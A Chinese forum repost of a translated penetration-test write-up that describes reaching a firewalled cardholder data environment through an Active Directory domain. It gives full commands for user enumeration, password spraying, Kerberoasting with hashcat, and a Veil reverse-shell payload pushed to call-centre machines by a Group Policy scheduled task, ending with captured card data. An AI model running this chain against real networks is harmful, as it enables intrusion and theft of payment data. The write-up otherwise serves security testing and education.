搜索

[14183] 2019-06-02_看我如何使用Windows域绕过防火墙获取持卡人数据的访问权限

文档创建者：s7ckTeam
浏览次数：18
最后更新：2025-01-18
2019-06-02_看我如何使用Windows域绕过防火墙获取持卡人数据的访问权限 看 我 如 何 使 用 W i n d o w s 域 绕 过 防 火 墙 获 取 持 卡 人 数 据 的 访 问 权 限 A l p h a _ h 4 c k   F r e e B u f   2 0 1 9 - 0 6 - 0 2 写 在 前 面 的 话 写 在 前 面 的 话 在 这 篇 文 章 中 ， 我 们 将 介 绍 如 何 绕 过 防 火 墙 系 统 ， 并 获 取 到 持 卡 人 数 据 环 境 在 这 篇 文 章 中 ， 我 们 将 介 绍 如 何 绕 过 防 火 墙 系 统 ， 并 获 取 到 持 卡 人 数 据 环 境 ( C D E ) 的 访 问 权 。 最 终 目 标 ： 提 取 目 标 用 户 的 信 用 卡 数 的 访 问 权 。 最 终 目 标 ： 提 取 目 标 用 户 的 信 用 卡 数 据 。 据 。 如 果 你 需 要 在 你 的 网 络 中 存 储 、 传 输 或 处 理 信 用 卡 数 据 的 话 ， 那 么 信 用 卡 数 据 安 全 就 必 须 要 得 到 有 效 保 障 。 根 据 P C I 数 据 安 全 标 准 （ P C I - D S S ） ， 持 卡 人 数 据 可 以 直 接 在 内 部 网 络 中 传 输 和 发 送 ， 前 提 是 网 络 系 统 已 实 施 了 网 络 分 割 ， 而 这 种 网 络 范 围 （ 划 分 持 卡 人 数 据 环 境 跟 其 他 网 络 ） 的 定 义 一 般 都 是 通 过 防 火 墙 来 实 现 的 。 为 了 保 护 客 户 的 机 密 数 据 ， 我 们 需 要 对 网 络 的 实 现 细 节 进 行 修 改 。 假 设 公 司 拥 有 一 个 非 常 大 型 的 网 络 系 统 ， 全 部 的 地 址 都 在 1 0 . 0 . 0 . 0 / 8 这 个 范 围 内 。 持 卡 人 数 据 则 需 要 单 独 划 分 至 1 9 2 . 1 6 8 . 0 . 0 / 1 6 这 个 范 围 ， 并 通 过 防 火 墙 进 行 隔 离 。 注 ： C D E 一 般 由 呼 叫 中 心 （ 负 责 处 理 电 话 订 单 ） 和 操 作 人 员 （ 负 责 将 支 付 信 息 填 写 进 W e b 表 但 ） 组 成 。 此 次 测 试 只 是 一 次 内 部 测 试 ， 因 此 我 们 直 接 连 接 至 公 司 的 内 部 办 公 网 络 （ 1 0 . 0 . 0 . 0 / 8 地 址 范 围 ） 。 从 这 个 地 址 利 用 p i n g 命 令 和 端 口 扫 描 功 能 来 扫 描 C D E 环 境 ： P i n g 扫 描 基 本 上 相 当 于 直 接 运 行 p i n g 命 令 ， 但 n m a p 可 以 “ 一 键 式 ” 扫 描 整 个 I P 段 。 “ h o s t s   u p ” 是 第 二 个 命 令 的 输 出 ， 因 为 我 们 添 加 了 “ - P n ” 参 数 来 判 断 是 否 是 第 一 次 p i n g ， 因 此 n m a p 将 会 报 告 当 前 范 围 内 所 有 “ u p ” 的 主 机 。 因 此 ， 除 非 部 署 了 防 火 墙 规 则 来 绕 过 漏 洞 ， 或 防 火 墙 使 用 了 弱 密 码 ， 否 则 这 种 方 式 的 效 果 是 不 会 理 想 的 。 因 此 ， 我 们 第 一 不 要 做 的 就 是 如 何 通 过 获 取 域 管 理 员 权 限 来 控 制 活 动 目 录 。 如 何 变 成 域 管 理 员 ？ 如 何 变 成 域 管 理 员 ？ 在 我 们 的 场 景 中 ， 我 们 选 择 使 用 k e r b e r o a s t 来 控 制 域 。 入 侵 活 动 目 录 的 第 一 步 ， 通 常 需 要 获 取 任 意 用 户 账 号 的 访 问 权 ， 只 要 我 们 能 够 通 过 域 控 制 器 的 认 证 就 可 以 了 。 在 W i n d o w s 中 ， 所 有 的 账 号 都 能 通 过 域 控 制 器 的 认 证 ， 即 使 它 们 没 有 权 限 来 做 实 际 的 事 情 。 也 就 是 说 ， 最 低 权 限 的 账 户 ， 只 要 登 录 完 成 之 后 并 输 入 正 确 的 密 码 ， 它 就 可 以 通 过 验 证 。 在 这 名 用 户 的 站 点 上 ， 没 有 在 域 控 制 器 中 启 用 会 话 。 因 此 ， 我 们 的 域 控 制 器 为 1 0 . 0 . 1 2 . 1 0 0 , “ P E T E R ” 。 我 们 可 以 使 用 e n u m 4 l i n u x 之 类 的 功 能
根 据 来 枚 举 出 用 户 列 表 ， 并 获 取 到 域 中 每 一 位 用 户 的 用 户 名 ： 拿 到 用 户 列 表 之 后 ， 我 们 就 可 以 对 其 进 行 解 析 处 理 了 ： 这 个 网 络 非 常 庞 大 ， 有 超 过 2 5 0 0 0 个 活 动 用 户 ， 不 过 我 使 用 g r e p 进 行 了 简 单 的 用 户 筛 选 ， 足 以 演 示 我 们 的 攻 击 操 作 了 。 现 在 ， 拿 到 包 含 用 户 列 表 的 文 本 文 件 后 ， 我 们 就 可 以 使 用 C r a c k M a p E x e c 之 类 的 工 具 来 猜 测 用 户 密 码 了 。 这 里 我 们 猜 测 目 标 账 号 的 密 码 是 否 为 “ P a s s w o r d 1 ” ： 如 果 我 们 想 要 继 续 猜 解 ， 则 需 要 指 定 “ — c o n t i n u e - o n - s u c c e s s ” 参 数 ： $   e n u m 4 l i n u x   - R   1 0 0 0 - 5 0 0 0 0   1 0 . 0 . 1 2 . 1 0 0 | t e e   e n u m 4 l i n u x . t x t $   c a t   e n u m 4 l i n u x . t x t   |   g r e p   ' ( L o c a l U s e r ) '   | a w k   ' $ 2   ~   / M A C F A R L A N E /   { p r i n t   $ 2 } ' |   g r e p   - v P   ' ^ . * ? $ $ '   |   s e d ' s / M A C F A R L A N E / / g ' $   c m e   s m b   1 0 . 0 . 1 2 . 1 0 0   - u   u s e r s . t x t   - p P a s s w o r d 1
拿 到 这 个 用 户 账 号 之 后 ， 我 们 就 可 以 查 询 活 动 目 录 ， 并 获 取 服 务 账 号 列 表 了 。 服 务 账 号 就 是 针 对 服 务 运 行 的 用 户 账 号 ， 比 如 说 M i c r o s o f t S Q L   S e r v e r 等 等 ， 它 们 需 要 在 特 定 用 户 账 号 环 境 中 运 行 。 活 动 目 录 的 K e r b e r o s 认 证 系 统 可 以 用 来 提 供 访 问 权 限 ， 因 此 活 动 目 录 会 提 供 一 个 “ 服 务 令 牌 ” 来 运 行 用 户 进 行 认 证 。 通 过 从 域 控 制 器 请 求 K e r b e r o s 服 务 账 号 列 表 ， 我 们 还 可 以 得 到 每 一 个 账 号 的 “ 服 务 令 牌 ” 。 这 个 服 务 令 牌 使 用 了 服 务 账 号 的 密 码 进 行 加 密 。 所 以 ， 如 果 我 们 破 解 密 码 ， 我 们 就 可 以 使 用 这 个 账 号 ， 而 这 种 账 号 一 般 都 是 高 权 限 账 号 ： 我 们 可 以 看 到 ， 其 中 一 个 账 号 为 域 管 理 组 成 员 ， 所 以 我 们 可 以 直 接 破 解 它 ： H a s h c a t 运 行 之 后 ， 我 们 就 拿 到 了 明 文 密 码 ： 这 是 一 个 活 动 账 号 ， 我 们 可 以 再 次 使 用 C r a c k M a p E x e c ： 非 常 好 ， 我 们 拿 到 了 域 控 制 器 的 管 理 员 账 号 ！ $   h a s h c a t   - m   1 3 1 0 0   - - p o t f i l e - d i s a b l e S P N s . t x t   / u s r / s h a r e / w o r d l i s t s / r o c k y o u . t x t   - r   / u s r / s h a r e / r u l e s / d 3 a d h o b 0 . r u l e $   c m e   s m b   1 0 . 0 . 1 2 . 1 0 0   - u   r e d r u m   - p ' m u r d e r 1 ! '
现 在 ， 虽 然 我 们 不 能 直 接 访 问 目 标 设 备 ， 但 我 们 可 以 通 过 活 动 目 录 域 来 让 域 控 制 器 帮 助 我 们 跟 目 标 设 备 进 行 交 互 。 我 们 的 目 标 是 在 C D E 中 通 过 呼 叫 中 心 控 制 同 一 活 动 目 录 中 的 其 他 计 算 机 。 为 此 ， 我 们 还 需 要 深 入 了 解 组 策 略 对 象 （ G P O ） 。 G P O 允 许 将 各 种 范 围 级 别 的 设 置 应 用 于 用 户 和 计 算 机 ， 它 可 以 以 不 同 范 围 级 别 控 制 域 中 的 计 算 机 。 客 户 G P O 的 许 多 功 能 都 适 用 于 统 一 管 理 组 织 中 的 I T 设 置 。 例 如 ， 统 一 设 置 密 码 策 略 ， 或 者 统 一 设 置 为 用 户 桌 面 显 示 哪 些 图 标 （ 例 如 ， 打 开 公 司 网 站 的 快 捷 方 式 ） 。 而 有 一 个 G P O 可 以 运 行 微 软 中 的 “ 计 划 任 务 ” ， 这 正 是 我 们 所 需 要 的 。 这 里 我 创 建 了 一 个 需 要 在 目 标 机 器 中 运 行 的 脚 本 ， 让 它 们 连 接 回 我 们 的 机 器 。 以 下 是 具 体 步 骤 ： 这 里 我 创 建 了 一 个 需 要 在 目 标 机 器 中 运 行 的 脚 本 ， 让 它 们 连 接 回 我 们 的 机 器 。 以 下 是 具 体 步 骤 ： 1 . 生 成 p a y l o a d 。 这 里 我 们 使 用 了 V e i l   E v a s i o n 。 我 们 的 I P 地 址 是 1 0 . 0 . 1 2 . 1 ， 因 此 我 们 设 置 回 连 到 这 个 地 址 ： 2 . 使 用 我 们 从 k e r b e r o a s t i n g 获 得 的 凭 据 ， 通 过 远 程 桌 面 协 议 （ R D P ） 登 录 到 域 控 制 器 。 $   v e i l   - t   E V A S I O N   - p   2 2   - - i p   1 0 . 0 . 1 2 . 1 - - p o r t   8 7 5 5   - o   p c i _ s h e l l
3 . 在 活 动 目 录 中 找 到 C D E 。 根 据 我 们 对 目 标 的 了 解 ， 他 们 的 呼 叫 中 心 在 2 楼 工 作 。 通 过 浏 览 目 录 ， 我 们 定 位 到 一 个 特 殊 的 名 字 ： 4 . 将 我 们 用 V e i l 制 作 的 恶 意 脚 本 放 入 文 件 夹 ， 然 后 在 域 控 制 器 上 进 行 共 享 。 在 共 享 和 目 录 上 设 置 权 限 ， 允 许 所 有 域 用 户 读 取 ： 5 . 创 建 G P O 策 略 ：
6 . 在 编 辑 这 个 新 的 G P O 时 ， 点 击 “ 计 划 任 务 ” ， 并 创 建 新 的 “ 即 时 计 划 任 务 ” ： 7 . 创 建 指 向 共 享 恶 意 脚 本 的 任 务 。 同 时 在 c o m m o n 下 设 置 ” R u n   i n   l o g g e d - o n   u s e r ’ s   s e c u r i t y c o n t e x t ” ：
等 待 片 刻 后 ， 情 况 如 下 所 示 ： 没 错 ， 就 是 我 们 要 的 支 付 卡 数 据 ： 渗 透 工 作 目 前 已 全 部 完 成 ！
* 参 考 来 源 ： 参 考 来 源 ： m a r k i t z e r o d a y ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理